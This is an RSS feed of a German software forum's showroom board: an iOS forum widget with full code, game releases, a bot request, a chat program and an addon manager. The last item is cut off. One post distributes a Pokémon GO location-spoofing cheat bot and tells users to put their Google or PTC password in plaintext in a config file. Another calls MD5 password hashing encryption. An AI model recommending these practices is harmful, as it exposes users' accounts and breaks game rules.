<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>U-Labs Community - Showroom</title>
		<link>https://u-labs.de/forum/</link>
		<description>Software-Releases unserer Nutzer</description>
		<language>de</language>
		<lastBuildDate>Tue, 05 May 2026 10:20:40 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>1</ttl>
		<image>
			<url>https://u-labs.de/forum/images/ulabs/misc/rss.png</url>
			<title>U-Labs Community - Showroom</title>
			<link>https://u-labs.de/forum/</link>
		</image>
		<item>
			<title>Release U-Labs Scriptable Widget (iOS)</title>
			<link>showroom-102/u-labs-scriptable-widget-ios-41543?goto=newpost</link>
			<pubDate>Sat, 09 Nov 2024 12:12:04 GMT</pubDate>
			<description>Hallo zusammen, 
 
Bild: https://i.ibb.co/xDn3zcM/IMG-0055.png  
 
ich habe ein kleines *Scriptable Widget* für *iOS/iPadOS* entwickelt, das die *5...</description>
			<content:encoded><![CDATA[<div>Hallo zusammen,<br />
<br />
<div style="text-align: center;"><a style="font-weight:bold;text-decoration:none;" target="blank" href="https://i.ibb.co/xDn3zcM/IMG-0055.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></div><br />
ich habe ein kleines <b>Scriptable Widget</b> für <b>iOS/iPadOS</b> entwickelt, das die <b>5 neuesten Beiträge</b> aus dem Forum anzeigt. Mit einem Klick auf einen Beitrag wird man direkt zum entsprechenden Thread weitergeleitet.<br />
<br />
<b>Voraussetzungen:</b>  <br />
- Du benötigst <b>iOS/iPadOS</b> und die App <b>Scriptable</b> (kostenlos im App Store erhältlich).  <br />
- Das Widget funktioniert nur auf Geräten mit iOS/iPadOS <b>14 oder höher</b>.<br />
<br />
<b>Hinweis:</b>  <br />
Bitte verwendet momentan nur das <b>large Widget</b>, da die anderen Größen noch nicht angepasst wurden. Ich arbeite daran, diese in einer zukünftigen Version zu integrieren.<br />
<br />
Viel Spaß beim Ausprobieren<br />
<br />
<b>Code:</b><br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">// == Scriptable Widget Code ==<br />
// @name U-Labs Forum Widget<br />
// @desc Zeigt die neuesten Beiträge aus dem U-Labs-Forum an.<br />
// @version 1.0<br />
// @autor Integer<br />
// @icon newspaper.fill<br />
<br />
const forumUrl = &quot;https://u-labs.de/forum/&quot;;<br />
<br />
const isDarkMode = Device.isUsingDarkAppearance();<br />
const backgroundColor = isDarkMode ? new Color(&quot;#1E1E1E&quot;) : Color.white();<br />
const textColor = isDarkMode ? Color.white() : new Color(&quot;#333333&quot;);<br />
const metaTextColor = isDarkMode ? Color.gray() : new Color(&quot;#666666&quot;);<br />
const altRowColor = isDarkMode ? new Color(&quot;#3C3C3E&quot;) : new Color(&quot;#E0E0E0&quot;);<br />
const evenRowColor = isDarkMode ? new Color(&quot;#2C2C2C&quot;) : new Color(&quot;#F5F5F5&quot;);<br />
<br />
async function fetchForumData() {<br />
&nbsp; try {<br />
&nbsp; &nbsp; const request = new Request(forumUrl);<br />
&nbsp; &nbsp; return await request.loadString();<br />
&nbsp; } catch (error) {<br />
&nbsp; &nbsp; displayError(&quot;Fehler beim Laden der Daten&quot;);<br />
&nbsp; &nbsp; return null;<br />
&nbsp; }<br />
}<br />
<br />
function displayError(message) {<br />
&nbsp; const widget = new ListWidget();<br />
&nbsp; widget.backgroundColor = backgroundColor;<br />
&nbsp; const errorText = widget.addText(message);<br />
&nbsp; errorText.textColor = textColor;<br />
&nbsp; errorText.font = Font.mediumSystemFont(14);<br />
&nbsp; Script.setWidget(widget);<br />
&nbsp; Script.complete();<br />
}<br />
<br />
function decodeHtmlEntities(text) {<br />
&nbsp; const entities = {<br />
&nbsp; &nbsp; &quot;&amp;quot;&quot;: '&quot;',<br />
&nbsp; &nbsp; &quot;&amp;amp;&quot;: '&amp;',<br />
&nbsp; &nbsp; &quot;&amp;lt;&quot;: '&lt;',<br />
&nbsp; &nbsp; &quot;&amp;gt;&quot;: '&gt;',<br />
&nbsp; &nbsp; &quot;'&quot;: &quot;'&quot;<br />
&nbsp; };<br />
&nbsp; return text.replace(/&amp;[^;]+;/g, match =&gt; entities[match] || match);<br />
}<br />
<br />
function parseForumPosts(html) {<br />
&nbsp; const postRegex = /&lt;tr data-thread-id=&quot;(\d+)&quot;[^&gt;]*&gt;[\s\S]*?ulo-post-title[^&gt;]*href=&quot;([^&quot;]+)&quot;[^&gt;]*&gt;([^&lt;]+)[\s\S]*?projecthead&quot;&gt;([^&lt;]+)[\s\S]*?ulo-post-time[^&gt;]*data-timestamp=&quot;(\d+)&quot;[^&gt;]*&gt;([^&lt;]+)&lt;\/span&gt;/g;<br />
&nbsp; const posts = [];<br />
&nbsp; <br />
&nbsp; let match;<br />
&nbsp; while ((match = postRegex.exec(html)) !== null) {<br />
&nbsp; &nbsp; const [_, threadId, url, title, author, timestamp, timeAgo] = match;<br />
&nbsp; &nbsp; posts.push({<br />
&nbsp; &nbsp; &nbsp; threadId,<br />
&nbsp; &nbsp; &nbsp; url: `https://u-labs.de/forum/${url}`,<br />
&nbsp; &nbsp; &nbsp; title: decodeHtmlEntities(title.trim()),<br />
&nbsp; &nbsp; &nbsp; author: decodeHtmlEntities(author.trim()),<br />
&nbsp; &nbsp; &nbsp; timestamp,<br />
&nbsp; &nbsp; &nbsp; timeAgo: decodeHtmlEntities(timeAgo.trim())<br />
&nbsp; &nbsp; });<br />
&nbsp; }<br />
&nbsp; return posts;<br />
}<br />
<br />
function getClickedPosts() {<br />
&nbsp; let clickedPosts = [];<br />
&nbsp; const fileManager = FileManager.local();<br />
&nbsp; const filePath = fileManager.joinPath(fileManager.documentsDirectory(), &quot;clickedPosts.json&quot;);<br />
&nbsp; <br />
&nbsp; try {<br />
&nbsp; &nbsp; const fileData = fileManager.readString(filePath);<br />
&nbsp; &nbsp; clickedPosts = fileData ? JSON.parse(fileData) : [];<br />
&nbsp; } catch (error) {<br />
&nbsp; &nbsp; log(&quot;Fehler beim Laden der geklickten Beiträge:&quot;, error);<br />
&nbsp; }<br />
<br />
&nbsp; return clickedPosts;<br />
}<br />
<br />
function saveClickedPost(threadId) {<br />
&nbsp; const clickedPosts = getClickedPosts();<br />
&nbsp; if (!clickedPosts.includes(threadId)) {<br />
&nbsp; &nbsp; clickedPosts.push(threadId);<br />
&nbsp; &nbsp; const fileManager = FileManager.local();<br />
&nbsp; &nbsp; const filePath = fileManager.joinPath(fileManager.documentsDirectory(), &quot;clickedPosts.json&quot;);<br />
&nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; fileManager.writeString(filePath, JSON.stringify(clickedPosts));<br />
&nbsp; &nbsp; } catch (error) {<br />
&nbsp; &nbsp; &nbsp; log(&quot;Fehler beim Speichern der geklickten Beiträge:&quot;, error);<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
}<br />
<br />
function addMetaStack(metaStack, author, timeAgo) {<br />
&nbsp; const authorIcon = SFSymbol.named(&quot;person.fill&quot;);<br />
&nbsp; const authorImage = metaStack.addImage(authorIcon.image);<br />
&nbsp; authorImage.tintColor = metaTextColor;<br />
&nbsp; authorImage.imageSize = new Size(12, 12);<br />
&nbsp; <br />
&nbsp; const authorText = metaStack.addText(` ${author} ·`);<br />
&nbsp; authorText.font = Font.systemFont(12);<br />
&nbsp; authorText.textColor = metaTextColor;<br />
<br />
&nbsp; const timeIcon = SFSymbol.named(&quot;clock.fill&quot;);<br />
&nbsp; const timeImage = metaStack.addImage(timeIcon.image);<br />
&nbsp; timeImage.tintColor = metaTextColor;<br />
&nbsp; timeImage.imageSize = new Size(12, 12);<br />
&nbsp; <br />
&nbsp; const timeText = metaStack.addText(` ${timeAgo}`);<br />
&nbsp; timeText.font = Font.systemFont(12);<br />
&nbsp; timeText.textColor = metaTextColor;<br />
<br />
&nbsp; metaStack.centerAlignContent();<br />
}<br />
<br />
async function createWidget(size) {<br />
&nbsp; const htmlData = await fetchForumData();<br />
&nbsp; if (!htmlData) return;<br />
<br />
&nbsp; const posts = parseForumPosts(htmlData);<br />
&nbsp; const widget = new ListWidget();<br />
&nbsp; widget.backgroundColor = backgroundColor;<br />
&nbsp; widget.setPadding(8, 8, 8, 8);<br />
<br />
&nbsp; const headerStack = widget.addStack();<br />
&nbsp; headerStack.layoutHorizontally();<br />
&nbsp; headerStack.centerAlignContent();<br />
&nbsp; headerStack.spacing = 8;<br />
&nbsp; <br />
&nbsp; const headerIcon = SFSymbol.named(&quot;newspaper.fill&quot;);<br />
&nbsp; const headerIconImage = headerStack.addImage(headerIcon.image);<br />
&nbsp; headerIconImage.tintColor = Color.blue();<br />
&nbsp; headerIconImage.imageSize = new Size(20, 20);<br />
&nbsp; <br />
&nbsp; const headerText = headerStack.addText(&quot;Neuste Beiträge&quot;);<br />
&nbsp; headerText.font = Font.boldSystemFont(16);<br />
&nbsp; headerText.textColor = textColor;<br />
&nbsp; <br />
&nbsp; widget.addSpacer(12);<br />
<br />
&nbsp; const maxPosts = size === &quot;small&quot; ? 1 : size === &quot;medium&quot; ? 2 : 5;<br />
<br />
&nbsp; posts.slice(0, maxPosts).forEach((post, index) =&gt; {<br />
&nbsp; &nbsp; const postBackground = widget.addStack();<br />
&nbsp; &nbsp; postBackground.layoutVertically();<br />
&nbsp; &nbsp; postBackground.setPadding(8, 8, 8, 8);<br />
&nbsp; &nbsp; postBackground.backgroundColor = getClickedPosts().includes(post.threadId) ? new Color(&quot;#A0A0A0&quot;) : (index % 2 === 0 ? altRowColor : evenRowColor);<br />
&nbsp; &nbsp; postBackground.cornerRadius = 8;<br />
&nbsp; &nbsp; postBackground.size = new Size(widget.size ? widget.size.width - 32 : 300, 0);<br />
<br />
&nbsp; &nbsp; const postStack = postBackground.addStack();<br />
&nbsp; &nbsp; postStack.layoutVertically();<br />
<br />
&nbsp; &nbsp; const title = postStack.addText(post.title);<br />
&nbsp; &nbsp; title.font = size === &quot;small&quot; ? Font.boldSystemFont(12) : Font.boldSystemFont(14);<br />
&nbsp; &nbsp; title.textColor = textColor;<br />
&nbsp; &nbsp; title.lineLimit = 1;<br />
&nbsp; &nbsp; title.url = post.url;<br />
&nbsp; &nbsp; title.onTap = () =&gt; {<br />
&nbsp; &nbsp; &nbsp; saveClickedPost(post.threadId);<br />
&nbsp; &nbsp; &nbsp; Script.complete();<br />
&nbsp; &nbsp; };<br />
<br />
&nbsp; &nbsp; if (size !== &quot;small&quot;) {<br />
&nbsp; &nbsp; &nbsp; const metaStack = postStack.addStack();<br />
&nbsp; &nbsp; &nbsp; metaStack.layoutHorizontally();<br />
&nbsp; &nbsp; &nbsp; metaStack.spacing = 4;<br />
&nbsp; &nbsp; &nbsp; addMetaStack(metaStack, post.author, post.timeAgo);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; widget.addSpacer(8);<br />
&nbsp; });<br />
<br />
&nbsp; return widget;<br />
}<br />
<br />
const widgetSize = config.widgetFamily || &quot;large&quot;;<br />
const widget = await createWidget(widgetSize);<br />
if (!config.runsInWidget) widget.presentLarge();<br />
Script.setWidget(widget);<br />
Script.complete();</code><hr />
</div>
</div>
</div>
</div></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Integer</dc:creator>
			<guid isPermaLink="true">showroom-102/u-labs-scriptable-widget-ios-41543</guid>
		</item>
		<item>
			<title>Kostenlose Homepage mit viel Speicherplatz?</title>
			<link>showroom-102/kostenlose-homepage-mit-viel-speicherplatz-39778?goto=newpost</link>
			<pubDate>Thu, 15 Mar 2018 14:11:17 GMT</pubDate>
			<description>Guten Tag,  
 
ich suche für ein Hobby eine Homepage die für den Anfang kostenlos sein sollte. Es sollten mehrere 100 MB Speicherplatz dabei sein. Es...</description>
			<content:encoded><![CDATA[<div>Guten Tag, <br />
<br />
ich suche für ein Hobby eine Homepage die für den Anfang kostenlos sein sollte. Es sollten mehrere 100 MB Speicherplatz dabei sein. Es werdem Bilder sowie Texte veröffentlicht.<br />
<br />
Kennt ihr einen Anbieter? Werbung ist für den Anfang auf Deutsch &quot;Scheißegal&quot;. <br />
<br />
Danke!</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Dr. Bastardo</dc:creator>
			<guid isPermaLink="true">showroom-102/kostenlose-homepage-mit-viel-speicherplatz-39778</guid>
		</item>
		<item>
			<title>Release Star Wars X-Wing Missions erste Testversion (Androide)</title>
			<link>showroom-102/star-wars-x-wing-missions-erste-testversion-androide-39420?goto=newpost</link>
			<pubDate>Fri, 12 May 2017 19:14:53 GMT</pubDate>
			<description>*Star wars x-wing missions * 
 
Ich habe meine erste Version von *Star Wars X-Wing 
Missions * fertig :) und ich werde jetzt erklären was  
der Sinn...</description>
			<content:encoded><![CDATA[<div><b>Star wars x-wing missions </b><br />
<br />
<i>Ich habe meine erste Version von <b>Star Wars X-Wing<br />
Missions </b> fertig :) und ich werde jetzt erklären was <br />
der Sinn des Spiels ist.</i> <br />
[B] In Star Wars X-Wing Missions 0.1 kann man: [IB]<br />
-als X-Wing Tie-Fighter abschießen <br />
   - oder als Tie-Fighter X-Wings abschießen <br />
   -auf zwei verschidenen  maps<br />
   - 2d Grafik <br />
<br />
   <b>Weitere wichtige Infos :</b><br />
    -Es ist mein erstes Handy Spiel.<br />
    - Ich bin gerade daran denn Missions Modus zu machen.<br />
    Updates werden also auch kommen :).<br />
Hier der downloade link bei Google drive:<br />
<a href="https://drive.google.com/file/d/0B-S3xZmUnTH4TjR0SnNjOWVhSWM/view?usp=drivesdk" target="_blank" rel="nofollow">https://drive.google.com/file/d/0B-S...w?usp=drivesdk</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>lg23</dc:creator>
			<guid isPermaLink="true">showroom-102/star-wars-x-wing-missions-erste-testversion-androide-39420</guid>
		</item>
		<item>
			<title><![CDATA[[Suche] WWE SuperCard Bot - Bezahle dafür.]]></title>
			<link>showroom-102/suche-wwe-supercard-bot-bezahle-dafuer-39031?goto=newpost</link>
			<pubDate>Mon, 31 Oct 2016 11:39:01 GMT</pubDate>
			<description>Guten Tag,  
 
Ich suche hier jemanden der sich sehr gut auskennt mit Programmieren. Ich bin auf der Suche nach einem WWE SuperCard Bot...</description>
			<content:encoded><![CDATA[<div>Guten Tag, <br />
<br />
Ich suche hier jemanden der sich sehr gut auskennt mit Programmieren. Ich bin auf der Suche nach einem WWE SuperCard Bot (AndroidGame).<br />
<br />
Was soll er könnnen: <br />
<br />
- Er soll selbst spielen<br />
- Er soll selbst Karten ziehen können<br />
- Er soll Karten wegtrainieren können<br />
- Er soll Verbesserungen wegtrainieren können.<br />
- Bei den verschiedenen Events (PCC, RTG, RD) - sollte man einstellen können welchen Kampf man machen will.<br />
<br />
Was würde mich der kosten? - Kann man den dann am Handy laufen lassen? Oder nur am PC? - Ich hätte einen Bot als (APK) Datei. Jedoch will er das man dafür bezahlt obwohl ich nichtmal weiß ob der funkt. Hier kann man den ein oder anderen Vertrauen. <br />
<br />
Nur ernst gemeinte Leute bitte.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Dr. Bastardo</dc:creator>
			<guid isPermaLink="true">showroom-102/suche-wwe-supercard-bot-bezahle-dafuer-39031</guid>
		</item>
		<item>
			<title>Release PokeSniper - Fange seltene Pokemon wie Relaxo, Lapras uvm!</title>
			<link>showroom-102/pokesniper-fange-seltene-pokemon-wie-relaxo-lapras-uvm-38758?goto=newpost</link>
			<pubDate>Sat, 30 Jul 2016 13:44:28 GMT</pubDate>
			<description>*Vorweg: Ich bitte alle Moralapostel, sich von diesem Beitrag fernzuhalten und ihre Meinung woanders kund zu tun. Jeder sollte selbst darüber...</description>
			<content:encoded><![CDATA[<div><b>Vorweg: Ich bitte alle Moralapostel, sich von diesem Beitrag fernzuhalten und ihre Meinung woanders kund zu tun. Jeder sollte selbst darüber nachdenken und abwägen, ob er sich diesen Vorteil gegenüber anderen Spielern verschaffen möchte. Zwar verfehlt dieses Programm ein Stück weit den Sinn des Spieles, jedoch ist die Benutzung des Programmes auch freiwillig.<br />
</b><br />
Nun zum eigentlichen Thema: Ich habe hier ein Programm für euch, welches euch jedes beliebige Pokemon fängt. Vor allem ist es dafür gedacht, besonders seltene Pokemon zu fangen!<br />
<br />
Die Basis damit dieses Programm funktioniert, liefert die Internetseite Pokesnipers: <a href="http://pokesnipers.com/" target="_blank" rel="nofollow">PokeSnipers</a>. Dort sind die Koordinaten angegeben an welchen diese Pokemon zu finden sind. Nun fragt ihr euch vermutlich, wie man jetzt ein Pokemon fangen soll, welches im Central Park sitzt. Hier kommt nun das Programm &quot;PokeSniper2&quot; ins Spiel. Ihr ladet euch also die .zip Datei herunter, entpackt diese und editiert dann mittels beliebigen (ich bevorzuge Notepad++) Texteditor die user.xml. Je nachdem ob ihr einen Google oder Poketrainerclub (nf. PTC) verwendet, tragt ihr eure Email/Benutzernamen sowie Passwort in die passende Zeile ein. Darüberhinaus müsst ihr in der Zeile mit &lt;AuthType&gt;Google&lt;/AuthType&gt; den jeweiligen Dienst eintragen, also zwischen &quot;Ptc&quot; oder &quot;Google&quot; wählen. Nun tragt ihr euren Breiten-sowie Längengrad eures aktuellen Standortes ein und speichert die Datei ab. Sobald ihr dies getan habt startet ihr die PokerSniper2.exe (!wichtig!). Nun folgt ihr den Anweisungen des Programmes und bestätigt direkt nach dem Start des Programmes die erste Frage durch das drücken der Y-Taste. Nun noch einmal die Einstellungen überprüfen und mit Enter bestätigen. Jetzt solltet ihr euch ein Pokemon auf pokesnipers.com aussuchen und den Namen sowie Längen-und Breitengrad notieren. Ihr werdet mittlerweile vom Programm aufgefordert den Namen des Pokemons einzugeben (wichtig: englische Bezeichnung suchen!), danach müsst ihr noch Längen sowie Breitengrad angeben und das Programm versucht das Pokemon zu fangen. Nach erfolgreichem Fang werdet ihr gefragt ob ihr ein weiteres fangen wollt. Dies könnt ihr entsprechend eures Wunsches dann bestätigen oder abbrechen.<br />
Ein weiteres Feature des Bots ist, dass er auch automatisch alle Pokemons aus der Liste von pokesnipers.com fangen kann. Dafür müsst ihr dann einfach die autosniper.bat aufrufen. <br />
<br />
<font color="#FF0000"><font size="4"><b>Ganz wichtig: Ich bin nicht der Autor des Programmes! Jegliche Credits gehen an: Neer und maclone (nicht hier im Forum vertreten)</b></font></font><br />
<br />
Im Anhang findet ihr die aktuellste Version. <br />
<br />
Desweiteren habe ich eine Frage: Besteht Interesse an einem Bot der Accounts problemlos auf sehr hohe Level (&gt;20) bringt? Falls Interesse besteht, könnte ich ein weiteres Tutorial machen.<br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=9185&amp;d=1469886249"  title="Name:  PokeSniper2_v1.6.zip
Hits: 1134
Größe:  726,4 KB">PokeSniper2_v1.6.zip</a></div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/zip.gif" alt="Dateityp: zip" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=9185&amp;d=1469886249">PokeSniper2_v1.6.zip</a> 
(726,4 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>rVs14</dc:creator>
			<guid isPermaLink="true">showroom-102/pokesniper-fange-seltene-pokemon-wie-relaxo-lapras-uvm-38758</guid>
		</item>
		<item>
			<title>Release Chatbase 1.0.0</title>
			<link>showroom-102/chatbase-1-0-0-38094?goto=newpost</link>
			<pubDate>Wed, 20 Jan 2016 19:59:25 GMT</pubDate>
			<description><![CDATA[So wie schon angekündigt (irgendwo im Smalltalk-Thread vor paar Wochen) habe ich bisschen an einer 'Chatbase' ähnlich wie die KBase damals gebastelt....]]></description>
			<content:encoded><![CDATA[<div>So wie schon angekündigt (irgendwo im Smalltalk-Thread vor paar Wochen) habe ich bisschen an einer 'Chatbase' ähnlich wie die KBase damals gebastelt.<br />
Natürlich will ich euch das Ergebnis nicht vorenthalten, auch wenn die Begeisterung sich bei euch in Grenzen hielt. hihio<br />
Find das ganze eigentlich eine coole Sache zum bisschen schreiben. <br />
<br />
Wie dem auch sei, nun zum wesentlichen:<br />
<br />
<br />
<b>Name: </b> Chatbase v1.0.0<br />
<br />
<b>Funktionen für User: </b> <br />
<br />
<ul><li style="">/p NICK:NACHRICHT - Schreibt privat an NICK NACHRICHT</li><li style="">/time - Der Butler sagt die Zeit an</li><li style="">/motd - Abfragen der message of the day</li></ul><br />
<br />
<b>Funktionen für Moderatoren: </b> <br />
<ul><li style="">/kick NICK - Kickt NICK vom Server</li><li style="">/ban NICK - Bannt Nick vom Server</li><li style="">/unban NICK - Entbannt NICK vom Server</li><li style="">/mute NICK - Mutet NICK</li><li style="">/unmute NICK - entmutet NICK</li><li style="">/mutelist - Zeigt Mutelist an</li><li style="">/banlist - Zeigt Banlist an</li><li style="">/kickall - Kickt alle User (außer Admins) vom Server</li><li style="">/setmotd TEXT - Legt die message of the day auf TEXT</li><li style="">/butler - Spricht öffentlich als Butler</li><li style="">/abstimmung FRAGE - Startet öffentlich eine 30 Sekunden lange Abstimmung.</li></ul><br />
<br />
Moderatoren Rechte können von Admins auch temporär an User vergeben, diese bleiben erhalten bis zum nächsten Server restart (oder bis ein Admin diese wieder entzieht).<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<i>Screenshots</i> <input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<img src="https://u-labs.de/forum/attachment.php?attachmentid=9106&amp;d=1453319608" border="0" alt="Name:  1.png
Hits: 1062
Größe:  13,3 KB" class="thumbnail" style="float:CONFIG" /><img src="https://u-labs.de/forum/attachment.php?attachmentid=9107&amp;d=1453319608" border="0" alt="Name:  2.png
Hits: 1090
Größe:  18,8 KB" class="thumbnail" style="float:CONFIG" /><img src="https://u-labs.de/forum/attachment.php?attachmentid=9108&amp;d=1453319609" border="0" alt="Name:  3.png
Hits: 1047
Größe:  23,8 KB" class="thumbnail" style="float:CONFIG" /><img src="https://u-labs.de/forum/attachment.php?attachmentid=9109&amp;d=1453319610" border="0" alt="Name:  4.png
Hits: 1041
Größe:  28,9 KB" class="thumbnail" style="float:CONFIG" />
</div>
</div>
</div><br />
<br />
<br />
Registrieren könnt ihr euch oben im Programm (Schaltfläche 'Registrieren', gekennzeichnet auf Screenshot). <br />
Eure Passwörter werden Md5 verschlüsselt in einer MySql-Datenbank gesichert.<br />
Jeder Benutzername kann 1x angelegt werden.<br />
<br />
<br />
Ich hoffe ihr habt 'n bisschen bock, dass Programm zu nutzen oder mal zu testen.<br />
<br />
Freue mich auf Kritik/Anregungen euer seits :-)<br />
<br />
<b>Virustotal:</b> <a href="https://www.virustotal.com/de/file/65215bbe815b20631a5bd44427b1f042a2b2ef7ebe27349134af374d97032df8/analysis/1453319811/" target="_blank" rel="nofollow">https://www.virustotal.com/de/file/6...is/1453319811/</a><br />
<br />
<b>Download:</b> Siehe Anhang<br />
<br />
<br />
MfG</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=9106&amp;stc=1&amp;d=1453319608" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=9107&amp;stc=1&amp;d=1453319608" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=9108&amp;stc=1&amp;d=1453319609" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=9109&amp;stc=1&amp;d=1453319610" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=9110&amp;d=1453319772">1.0.0.rar</a> 
(307,2 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>MariusEistee</dc:creator>
			<guid isPermaLink="true">showroom-102/chatbase-1-0-0-38094</guid>
		</item>
		<item>
			<title><![CDATA[Vorschau [S] Betatester für Chatbase]]></title>
			<link>showroom-102/s-betatester-fuer-chatbase-38057?goto=newpost</link>
			<pubDate>Thu, 14 Jan 2016 19:08:01 GMT</pubDate>
			<description>huhu, hab ja letztens schon gefragt ob ihr bock drauf habt oder nicht.  
nun ja, ist ja auch egal - ich suche auf jeden fall irgendein der spontan,...</description>
			<content:encoded><![CDATA[<div>huhu, hab ja letztens schon gefragt ob ihr bock drauf habt oder nicht. <br />
nun ja, ist ja auch egal - ich suche auf jeden fall irgendein der spontan, am besten jetzt gleich einmal testen will,<br />
 wie das ding so läuft. und ob der login von außerhalb meiner lokalen ip überhaupt funktioniert.<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=9101&amp;d=1452553321" border="0" alt="Name:  chat.png
Hits: 869
Größe:  26,9 KB" class="thumbnail" style="float:CONFIG" /></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=9101&amp;stc=1&amp;d=1452798407" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>MariusEistee</dc:creator>
			<guid isPermaLink="true">showroom-102/s-betatester-fuer-chatbase-38057</guid>
		</item>
		<item>
			<title>Release zAddon Manager v1.2 - WoW Addon Manager</title>
			<link>showroom-102/zaddon-manager-v1-2-wow-addon-manager-35991?goto=newpost</link>
			<pubDate>Thu, 08 Jan 2015 12:06:08 GMT</pubDate>
			<description>*zAddon Manager | v1.2 * 
 
*Beschreibung:* 
Mit diesem Tool könnt ihr schnell und einfach World of Warcraft Addons herunterladen und installieren! ...</description>
			<content:encoded><![CDATA[<div><font size="4"><b><font color="Orange">zAddon Manager | v1.2 </font></b></font><br />
<br />
<b>Beschreibung:</b><br />
Mit diesem Tool könnt ihr schnell und einfach World of Warcraft Addons herunterladen und installieren! <br />
<br />
<b>Screenshot:</b><br />
<a href="https://u-img.net/view/4708Rg.png" target="_blank"><img src="https://u-img.net/img/4708Rg_thumb.png" border="0" alt="" /></a><br />
<br />
<b>VT:</b><br />
<a href="https://www.virustotal.com/de/file/afd015e10c440519b37c7419b3b3aea02515de2018bdcbbfad6126e098085553/analysis/1420672459/" target="_blank" rel="nofollow">https://www.virustotal.com/de/file/a...is/1420672459/</a><br />
<br />
<b>Log:</b><br />
#08.01.15 - v1.2 Release <br />
-Anzeige der bereits installierten Addons+Lösch Option<br />
-World of Warcraft Ordner wird nun automatisch gefunden<br />
-Neues Interface(Tabbed)<br />
-Diverse Optimierungen<br />
<br />
#29.12.14 - v1[BETA] Release</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/zip.gif" alt="Dateityp: zip" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=8469&amp;d=1420718760">zAddon Manager v1.2.zip</a> 
(518,1 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>exception</dc:creator>
			<guid isPermaLink="true">showroom-102/zaddon-manager-v1-2-wow-addon-manager-35991</guid>
		</item>
		<item>
			<title>Release MangoEGT - Gradient Tool</title>
			<link>showroom-102/mangoegt-gradient-tool-35927?goto=newpost</link>
			<pubDate>Sat, 03 Jan 2015 12:15:42 GMT</pubDate>
			<description>Hallo. 
 
Ich möchte euch ein kleines Farbverlaufprogramm vorstellen. 
 
Dieses gibt geparste RGB Code -Strings aus (nutzbar bei Knuddels.de etc.). 
...</description>
			<content:encoded><![CDATA[<div>Hallo.<br />
<br />
Ich möchte euch ein kleines Farbverlaufprogramm vorstellen.<br />
<br />
